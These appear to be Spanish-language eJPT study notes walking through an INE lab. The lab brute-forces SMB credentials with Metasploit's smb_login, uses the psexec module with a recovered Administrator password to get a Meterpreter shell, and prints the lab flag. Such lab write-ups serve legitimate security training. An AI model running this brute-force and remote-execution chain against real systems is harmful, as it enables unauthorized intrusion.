> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/windows/explotacion-de-vulnerabilidades-de-windows/explotacion-de-smb-con-psexec.md).

# Explotación de SMB con PsExec

## 🧠 ¿Qué es SMB?

* **SMB (Server Message Block)**: Protocolo de red para compartir **archivos, impresoras y recursos** entre dispositivos de una red local (LAN).
* **Puerto TCP 445** (anteriormente también en 139 con NetBIOS).
* En Linux, se implementa mediante **Samba**, permitiendo compartir recursos con sistemas Windows.

***

## 🔐 **Autenticación en SMB**

SMB soporta **dos niveles** de autenticación:

1. **User Authentication**: Requiere **usuario y contraseña** para acceder a recursos compartidos.
2. **Share Authentication**: Solo requiere contraseña para acceder a una share protegida.

🧠 Ambos métodos usan autenticación tipo **challenge-response**.

***

## 🛠️ **PsExec - Qué es y para qué sirve**

* Herramienta de Microsoft para **ejecutar comandos remotamente** usando SMB.
* Funciona de forma similar a Telnet o RDP (pero vía línea de comandos).
* Permite obtener **una shell remota** o ejecutar **comandos arbitrarios**.

***

## 💣 **Explotación de SMB con PsExec (Metasploit)**

#### 📌 Requisitos:

* Unas **credenciales válidas** (usuario/contraseña o hash) de Windows.
* SMB activo y accesible en el puerto **445** del objetivo.

#### 🔎 Ataque típico:

1. Realizar **brute force SMB** con herramientas como `hydra`, `crackmapexec`, `nmap` o `smbclient`.
2. Identificar usuarios válidos como `Administrator`.
3. Obtener la contraseña o hash NTLM del usuario.

***

## <sup>🧪 Laboratorio Práctico</sup>

**Paso 1:** Abre el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/NAGFHp3OCMwoJa2BmUnl" alt=""><figcaption></figcaption></figure>

**Paso 2:** Ejecuta un escaneo con Nmap contra el objetivo.

**Comando:**

```
nmap demo.ine.local
```

<figure><img src="/files/zT3Z6zcruaO1YFRac1Tv" alt=""><figcaption></figcaption></figure>

**Paso 3:** Hemos descubierto que múltiples puertos están abiertos. El puerto SMB 445 también está expuesto. Ejecutaremos un script de Nmap para listar los protocolos y dialectos soportados por el servidor SMB.

**Comando:**

```
nmap -p445 --script smb-protocols demo.ine.local
```

<figure><img src="/files/FLw3vZKZzGLduW9fnxuy" alt=""><figcaption></figcaption></figure>

**Paso 4:** Ejecutaremos el módulo `smb_login` para encontrar todos los usuarios válidos y sus contraseñas.

**Comandos:**

```
msfconsole -q
use auxiliary/scanner/smb/smb_login
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set RHOSTS demo.ine.local
set VERBOSE false
exploit
```

**Nota:** Esto puede tardar alrededor de 2–3 minutos en completarse.

<figure><img src="/files/cvyGCd1UjCvaByElblXd" alt=""><figcaption></figcaption></figure>

Hemos encontrado cuatro usuarios válidos y sus contraseñas.

**Paso 5:** Ejecutamos el módulo `psexec` para obtener una shell de Meterpreter.

**Comandos:**

```
msfconsole -q
use exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit
```

<figure><img src="/files/0YDMdG4UAvmGdgAnSXcs" alt=""><figcaption></figcaption></figure>

Hemos recibido una shell de Meterpreter.

**Paso 6:** Buscando la flag.

**Comandos:**

```
shell
cd /
dir
type flag.txt
```

<figure><img src="/files/8XGWjioGbEt8pi8silK9" alt=""><figcaption></figcaption></figure>

Esto nos revela la flag.

**Flag:** `e0da81a9cd42b261bc9b90d15f780433`

***

**Conclusión**\
En este laboratorio, aprendimos cómo explotar el servicio SMB para obtener una sesión de Meterpreter en la máquina objetivo.
